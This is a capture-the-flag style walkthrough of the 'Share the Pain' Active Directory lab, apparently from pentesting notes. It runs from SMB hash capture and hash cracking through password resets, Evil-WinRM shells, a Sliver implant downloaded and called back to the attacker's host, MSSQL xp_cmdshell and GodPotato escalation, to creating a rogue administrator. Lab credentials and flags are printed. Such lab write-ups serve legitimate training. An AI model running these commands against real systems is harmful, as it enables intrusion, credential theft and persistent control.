> For the complete documentation index, see [llms.txt](https://notes.cavementech.com/pentesting-quick-reference/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.cavementech.com/pentesting-quick-reference/active-directory-pentesting/ad-machines-walkthroughs/hacksmarter-share-the-pain.md).
# Hacksmarter - Share the Pain
## Machine Overview
"ShareThePain" is a medium-rated Active Directory lab. It is a more challenging lab than "BuildingMagic" and is more aligned with the difficulty of certifications such as the **Practical Network Penetration Tester (PNPT)** or the **Hack The Box Certified Penetration Testing Specialist (CPTS)**. This lab focuses on a series of steps to achieve full domain compromise.
* **Initial Enumeration:** Reconnaissance to discover network services, hosts, and potential vulnerabilities.
* **Active Directory Enumeration:** Techniques to gather information on users, groups, computers, and other objects within the Active Directory domain. This helps map out the network and find potential attack paths.
* **Pivoting & Port Forwarding:** Techniques used to access a network segment that is not directly reachable from the attacker's machine. This involves using a compromised host as a "pivot point" to route traffic to internal services.
* **SOCKS Proxy:** Setting up a SOCKS proxy to route network traffic through the compromised host, allowing the attacker to interact with the internal network as if they were on it. This is a common method for creating a secure channel for pivoting.
* **Privilege Escalation:** Abusing common misconfigurations and vulnerabilities, specifically within a database, to gain higher-level permissions on the compromised host or the domain.
### Scope and Objective
**Objective:** You're a **penetration tester** on the **Hack Smarter Red Team**. Your mission is to infiltrate and seize control of the client's entire Active Directory environment. This isn't just a test; it's a full-scale assault to expose and exploit every vulnerability.
**Initial Access:** For this engagement, you've been granted **direct network access** to the client's network. The door is open, but you're starting with **zero credentials**. From here, every move counts.
**Execution:** Your objective is simple but demanding: **enumerate, exploit, and own.** Your ultimate goal is not just to get in, but to achieve a **full compromise**, elevating your privileges until you hold the keys to the entire domain.
## Enumeration
This lesson covers the first steps of a penetration test on the "SharethePain" Active Directory lab, which involves reconnaissance, initial access, and privilege escalation on a user account.
### **1. Initial Reconnaissance with Nmap**
The first step in any penetration test is to perform a scan of the target to identify open ports and running services. This can be done with a tool like **Rustscan** for fast port enumeration, which then passes the results to **Nmap** for more detailed service and version detection.
```
┌──(kali㉿kali)-[~/Desktop/pain]
└─$ sudo nmap -A 10.1.232.20
Starting Nmap 7.95 ( https://nmap.org ) at 2026-08-02 02:13 EDT
Stats: 0:01:00 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 93.97% done; ETC: 02:15 (0:00:04 remaining)
Stats: 0:02:46 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 99.99% done; ETC: 02:16 (0:00:00 remaining)
Nmap scan report for 10.1.232.20
Host is up (0.22s latency).
Not shown: 987 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-08-02 06:19:26Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hack.smarter0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hack.smarter0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC01.hack.smarter
| Not valid before: 2026-08-01T06:07:30
|_Not valid after: 2027-01-31T06:07:30
|_ssl-date: 2026-08-02T06:20:07+00:00; -1s from scanner time.
| rdp-ntlm-info:
| Target_Name: HACK
| NetBIOS_Domain_Name: HACK
| NetBIOS_Computer_Name: DC01
| DNS_Domain_Name: hack.smarter
| DNS_Computer_Name: DC01.hack.smarter
| DNS_Tree_Name: hack.smarter
| Product_Version: 10.0.20348
|_ System_Time: 2026-08-02T06:19:59+00:00
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC01.hack.smarter
| Not valid before: 2026-08-01T06:07:30
|_Not valid after: 2027-01-31T06:07:30
|_ssl-date: 2026-08-02T06:20:07+00:00; -1s from scanner time.
```
* **Key Findings from Nmap:**
* **Port 53 (DNS):** A standard DNS service.
* **Port 88 (Kerberos):** The Kerberos authentication protocol, a key component of Active Directory.
* **Port 135 (MSRPC), 139 (NetBIOS), 445 (SMB):** These ports are all related to Microsoft Windows networking and the Server Message Block (SMB) protocol. The presence of these ports indicates a strong possibility of an Active Directory environment.
* **Port 3389 (RDP):** The Remote Desktop Protocol, which allows for remote control of the machine.
* **Domain Name:** The scan identifies the domain name as `hack.smarter`.
* **Hostname:** The hostname is identified as `DC01.hack.smarter`.
### **2. Updating the `/etc/hosts` file**
Once the domain name and hostname are discovered, it is a best practice to add them to your local `/etc/hosts` file. This allows you to reference the target machine by its hostname and domain name instead of its IP address, which can be useful for many tools.
* **Command:** `sudo nano /etc/hosts`
* **Syntax:**
```
10.1.232.20 hack.smarter
10.1.232.20 DC01.hack.smarter
```
* **Note:** The host file is a simple text file that maps IP addresses to hostnames. You must use `sudo` to edit it as it is a system-level file.
### **3. Initial SMB Enumeration with `smbclient`**
With the ports identified, the next step is to explore the services. Since SMB is a common entry point in Active Directory environments, it is a great place to start.
* **Check for Anonymous Access:** You can check if anonymous access is enabled on the SMB shares.
* **Command:** `smbclient -L //hack.smarter`
```
┌──(kali㉿kali)-[~/Desktop/pain]
└─$ smbclient -L //hack.smarter
Password for [WORKGROUP\kali]:
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
Share Disk
SYSVOL Disk Logon server share
```
* **Note:** When prompted for a password, press `Enter` to try a blank/anonymous password.
* **Result:** The scan reveals that anonymous access is enabled, and there is a share named `share`.
* **Connecting to the "share" share:** The anonymous access allows for a connection to the `share` share.
* **Command:** `smbclient //hack.smarter/share`
```
┌──(kali㉿kali)-[~/Desktop/pain]
└─$ smbclient //hack.smarter/share
Password for [WORKGROUP\kali]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Mon Sep 15 18:59:57 2025
.. DHS 0 Fri Sep 5 23:46:21 2025
```
* **Result:** A successful connection to the share, allowing you to list the contents using the `dir` command.
* **Check for Write Permissions:** It is important to check if you can write to the share.
* **Command:**
```
touch hacksmarter.txt
smbclient //hack.smarter/share
put hacksmarter.txt
```
* **Result:** The `put` command succeeds, indicating that the share is anonymously writable.
### **4. Leveraging Writable Shares to Steal an NTLMv2 Hash**
A writable SMB share is a significant finding. A common attack vector is to upload a malicious file (such as a shortcut file, `.SCF`, or a symlink) that, when viewed by a user, will force their machine to connect to a server you control. This connection attempt can be captured by a listener like **Responder**, which will receive the user's NTLMv2 hash.
The lesson demonstrates a specialized tool for this purpose: **SMBKiller**.
{% embed url="" %}
* **Tool:** `SMBKiller.py` (by Overgrowncarrot)
* **Purpose:** Automates the process of creating the malicious file, uploading it to the share, and running a listener (like Responder) to capture the hash.
* **Command Syntax:** `python3 SMB_Killer.py -r [LISTENTER-IP] -l [TARGET-IP] -d hack.smarter -i tun0 -a Share -U '' -P '' -A`
* **Explanation:**
* `-r`: The remote target's IP address.
* `-l`: The attacker's listening IP address (your VPN IP).
* `-d`: The Active Directory domain name.
* `-i`: The attacker's network interface (e.g., `tun0` for a VPN).
* `-s`: The writable SMB share name (in this case, `share`).
* `-A`: A flag to use all available attack methods (various file types).
* **Result:** A hash for the user **Bob.Ross** is captured. The hash format is NTLMv2.
```
python3 SMB_Killer.py -r 10.1.232.20 -l 10.200.76.56 -d hack.smarter -i tun0 -a Share -U '' -P '' -A
```
Now save the hash in a file and then crrack with hashcat.
### **5. Cracking the Hash with Hashcat**
The captured hash is not a clear-text password but a hashed version. The next step is to crack the hash offline using a tool like **Hashcat**.
```
hashcat happyaccidents /usr/share/wordlists/rockyou.txt --force
```
**So we have the username and password**
```
bob.ross:137Password123!@#
```
* **Result:** The password for Bob Ross is successfully cracked.
**6. Verifying Credentials with NetExec**
Once a clear-text password is obtained, it's crucial to verify that it works. **NetExec** is a powerful tool for this purpose.
* **Command:**
```
netexec smb hack.smarter -u bob.ross -p '137Password123!@#' --shares
```
* **Explanation:**
* `netexec`: The NetExec utility (formerly known as CrackMapExec).
* `smb`: Specifies the protocol to use.
* `hack.smarter`: The target domain.
* `-u bob.ross`: The username to authenticate with.
* `-p `: The clear-text password obtained from cracking the hash.
* `--shares`: A module that attempts to list shares on the target, which is a good way to verify credentials.
* **Result:** A successful login is confirmed, signifying that the Bob Ross user account is compromised.
## Enumerating & Exploiting AD with BloodHound
### **1. Collecting Data**
After gaining access to the Bob.Ross user account, the next step is to collect data about the Active Directory environment. This data will be ingested into BloodHound to map out potential attack paths.
```
netexec ldap dc01.hack.smarter -u 'bob.ross' -p '137Password123!@#' --bloodhound --collection All --dns-server 10.1.232.20
```
### **2. Ingesting Data into BloodHound**
The next step is to load the collected data into the BloodHound GUI for visualization and analysis.
* **Launch BloodHound:** Ensure the BloodHound Docker containers are running.
```
sudo bloodhound-cli up
```
* **Clear Old Data:** If you have used BloodHound for a previous lab, you should clear the database to avoid mixing data.
* In the BloodHound GUI, navigate to the **Administration** tab.
* Click on **Database Management** and select **Delete All Graph Data**.
* A confirmation prompt will appear, requiring you to type `delete this environment data` to proceed.
* **Ingest New Data:**
* Go to the **File Ingest** tab.
* Drag and drop the `.json` files collected from SharpHound into the ingestion window.
* Wait for the ingestion process to complete.
### **3. Using BloodHound to Find the Next Pivot**
With the data loaded, you can now use BloodHound's powerful query engine to find the next attack vector.
* **Identify Compromised User:** Use the search bar in the top right to find the `BOB.ROSS` user object.
* **Pwned Status:** Right-click the `BOB.ROSS` user and mark it as `Pwned` to easily track your progress.
* **Analyze Outbound Object Control:** In the right-hand panel, look for the `Outbound Object Control` tab. This shows what objects your compromised user has privileges over.
* **The `GenericAll` Privilege:** In this lab, the `BOB.ROSS` user has a `GenericAll` privilege over the `ALICE.WONDERLAND` user object.
* `GenericAll` is a powerful Active Directory permission that allows a user to modify all properties of a target object, including its password. This is a critical vulnerability.
### **4. Abusing `GenericAll` to Change a User's Password**
The `GenericAll` privilege allows you to reset Alice.Wonderland's password and take over her account. The `net` command from the `samba-common-bin` package is a great way to do this from the command line.
```
net rpc password 'alice.wonderland' 'HackSmarter123!' -U 'hack.smarter'/'bob.ross'%'137Password123!@#' -S 10.1.232.20
```
* **Explanation:**
* `net rpc password`: The command to change a user's password via RPC.
* `alice.wonderland`: The user whose password will be changed.
* ``: The new password you are setting.
* `-U`: Specifies the controlling user and their password.
* `-S`: The server name for the target domain.
* `-I`: The IP address of the domain controller.
* **Verification:** Use `netexec` to confirm the password change was successful.
```
netexec smb hack.smarter -u alice.wonderland -p 'HackSmarter123!' --shares
```
* The successful output will show that you can now list the shares as Alice.Wonderland.
### **5. Enumerating Alice Wonderland's Privileges**
Now that you have control of the `ALICE.WONDERLAND` user, you should check for any interesting group memberships that could lead to further compromise.
* **BloodHound Analysis:**
* Search for the `ALICE.WONDERLAND` user in BloodHound.
* Examine her `Group Memberships`.
* **Key Finding:** Alice.Wonderland is a member of the **`Remote Management Users`** group. This is a significant finding as it indicates she likely has access to remote management services on one or more machines.
### **6. Gaining a Shell with `Evil-WinRM`**
The `Remote Management Users` group membership strongly suggests that the **WinRM** (Windows Remote Management) service is enabled. You can use the `Evil-WinRM` tool to get a remote shell on the machine.
* **Tool:** `Evil-WinRM`
```
evil-winrm -u alice.wonderland -p 'HackSmarter123!' -i dc01.hack.smarter
```
* **Explanation:**
* `-u`: The username to authenticate as.
* `-p`: The password for the user.
* `-i`: The hostname or IP of the target machine.
* **Result:** A successful login will provide you with a `WinRM` shell on the domain controller.
* **First Flag:** You can now navigate the file system and find the user flag, which is typically located on the user's desktop or in the documents folder.
```
bWFkZV9pdF90aGlzX2Zhcgo=
```
## Lateral Movement
The core objective of this lesson is to find and exploit a service that is only listening on the local machine. This requires a technique known as **pivoting** to access the service from your Kali machine.
### **1. Post-Exploitation Enumeration**
After gaining a shell with `Evil-WinRM`, you need to perform more in-depth enumeration. The initial external scan did not reveal all of the services on the machine, as some services are only accessible from the local host.
* **Whoami /priv** did not find anything interesting
* **Find Local Services:** The `netstat` command is a powerful tool on Windows for this.
```
netstat -ano | findstr LISTENING
```
* **Explanation:**\
\* `netstat -ano`: Lists all active TCP connections, listening ports, and the corresponding Process ID (PID).\
\* `| findstr LISTENING`: Pipes the output and filters for lines that contain the word "LISTENING."
* **Key Discovery:** The output reveals that **MSSQL** is running and listening on **port 1433**. However, the listening address is `127.0.0.1`, which means it is only accessible from the local host.
* We can also there is SQL folder in C drive.
### **2. Pivoting with a SOCKS Proxy**
To interact with the MSSQL database, you must create a proxy that forwards the traffic from your Kali machine through the compromised host. This is a form of pivoting. The **Sliver C2 framework** is an excellent tool for this.
{% embed url="" %}
* **Installation**
```
curl https://sliver.sh/install|sudo bash
```
* **Now, Start the sliver**
```
sudo systemctl start sliver
```
* **Generate and Transfer the Implant:**
```
sliver > generate --mtls 10.200.76.56 --port 443 --os windows --save /path/to/pivot.exe
```
* **Explanation:** This command generates a dynamically compiled Windows executable (`pivot.exe`) that will connect back to your Kali machine using the MTLS protocol.
* **Transfer:** Use a simple Python web server to host the executable from your Kali machine and use `wget` from the `Evil-WinRM` shell to download it.\
\* On Kali: `python3 -m http.server 80`\
\* On the Target (WinRM): `wget http:///pivot.exe -O pivot.exe`
```
wget http://10.200.76.56/pivot.exe -o pivot.exe
```
* **Set Up the Listener and Proxy:**
* **Start the Listener:** On your Sliver console, start the MTLS listener.\
\* **Command:** `sliver > mtls -L -l 443`
* **Run the Implant:** From the `Evil-WinRM` shell, execute the `pivot.exe` file. This will establish a session with your Sliver listener.
* **Interact with session**
```
session -i SESSIONID
```
* **Start the SOCKS Proxy:** Once the session is established, you can start a SOCKS5 proxy.\
\* **Command:** `sliver > socks5 start`
* **Configure Proxychains:** To use your tools through the SOCKS proxy, you must configure **Proxychains**.
* **Command:** `sudo nano /etc/proxychains4.conf`
* **Modification:** Change the proxy settings at the bottom of the file to:
```
socks5 127.0.0.1 1081
```
* **Note:** The default port for the Sliver SOCKS proxy is **1080**.
***
### **3. Exploiting MSSQL with XP\_CMDSHELL**
With the SOCKS proxy running, you can now connect to the MSSQL database and attempt to gain command execution.
* **Connect to MSSQL:** Use the `mssqlclient.py` tool from the **Impacket** suite to connect through your proxy.
```
proxychains4 -q impacket-mssqlclient 'HACK.SMARTER'/'alice.wonderland':'HackSmarter123!'@127.0.0.1 -windows-auth
```
* **Explanation:**\
\* `proxychains -q`: Runs the command through the configured SOCKS proxy in quiet mode.\
\* `mssqlclient.py`: The Python tool for interacting with MSSQL.\
\* `'HACK.SMARTER/alice.wonderland:hacksmarter123@127.0.0.1'`: The connection string, specifying the domain, user, password, and the local IP.\
\* `-windows-auth`: Uses Windows authentication to log in as the user.
* **Enable `xp_cmdshell`:** Once connected, the goal is to enable the `xp_cmdshell` stored procedure, which allows a user to run system commands directly from the database console.
* **Command:** `enable xp_cmdshell`
* **Note:** If this doesn't work, you may need to use a more complex syntax involving `sp_configure`.
* **Get Command Execution:**
* **Command:** `xp_cmdshell 'whoami /priv'`
* **Result:** You will see the privileges of the service account running the MSSQL server.
{% embed url="" %}
## Privilege Escalation
This lesson walks you through the final steps of achieving **full domain compromise** on the "Share the Pain" Active Directory lab by escalating from a service account to `NT AUTHORITY\SYSTEM` and then creating a new local administrator.
***
### **1. Understanding the `SeImpersonatePrivilege`**
As discovered in the previous lesson, the `MSSQL SQL Express` service account has the **`SeImpersonatePrivilege`**. This privilege is a powerful capability that allows a process to impersonate a client's security token. This is the key vulnerability we will use to escalate our privileges.
* **The Attack:** We will leverage a "potato" attack. These attacks work by forcing a Windows service to authenticate to our process. This provides an impersonation token that we can "steal" and use to run commands as a highly privileged user, such as `NT AUTHORITY\SYSTEM`.
***
### **2. Executing the "God Potato" Attack**
The lesson uses **GodPotato**, a modern and highly effective tool for abusing the `SeImpersonatePrivilege`.
* **Transfer the Tool:** First, you must download the `GodPotato.exe` binary from its GitHub repository and transfer it to the target machine.
{% embed url="" %}
* **Method:** A simple way to do this is to host the file on a basic Python web server on your Kali machine and use `wget` from your `Evil-WinRM` shell to download it to the `C:\Temp` directory.
* **Pivoting to the Correct User:**
* **The Problem:** The `SeImpersonatePrivilege` is tied to the `MSSQL SQL Express` service account, not the `Alice.Wonderland` user. If you try to run the exploit from your `Evil-WinRM` shell, it will fail because your current user doesn't have the necessary privilege.
* **The Solution:** You must execute the exploit as the `MSSQL SQL Express` service account itself.
* **Pivoting with Sliver:** Use the `xp_cmdshell` command to execute the Sliver implant (`pivot.exe`) that you previously uploaded to the `C:\Temp` directory. This will establish a new Sliver session with the privileges of the service account.\
\* **Command:** `xp_cmdshell 'C:\Temp\pivot.exe'`
* **Interact with the New Session:** In your Sliver console, check for the new session and interact with it.\
\* **Sliver Command:** `sessions -i `\
\* **Verification:** Run the `whoami` command to confirm you are now the `MSSQL SQL Express` user.
* **Running the Exploit:** From the new Sliver session, you can execute `GodPotato.exe`.
* **Command:** `./GodPotato.exe --cmd "whoami"`
* **Result:** The command will execute with the privileges of the `NT AUTHORITY\SYSTEM` account.
***
### **3. Creating a New Administrator Account**
Now that you have the power to execute commands as `NT AUTHORITY\SYSTEM`, the simplest and most reliable way to achieve full control is to create a new user account and add it to the local administrators group.
* **Step 1: Create the User**
* **Command:** `./GodPotato.exe --cmd "net user hacksmarter hacksmart1! /add"`
* **Explanation:** This command runs as `SYSTEM` to create a new user named `hacksmarter` with the password `hacksmart1!`.
* **Step 2: Add the User to the Administrators Group**
* **Command:** `./GodPotato.exe --cmd "net localgroup administrators hacksmart /add"`
* **Explanation:** This command adds the newly created `hacksmart` user to the `Administrators` group.
* **Verification:** Use your `Evil-WinRM` session or `netexec` to confirm the new user's group membership.
* **Command:** `net user hacksmart`
***
### **4. Retrieving the Root Flag**
With your new local administrator account, you can log in to the machine and retrieve the final flag.
* **Connect with Your New User:**
* **Command:** `evil-winrm -u hacksmart -p hacksmart1 -i dc01.hack.smarter`
* **Find the Flag:** The root flag is typically located in a protected directory, such as the `Administrator`'s Desktop.
* **Command:** `dir "C:\Users\Administrator\Desktop"`
* **Command:** `type "C:\Users\Administrator\Desktop\root.txt"`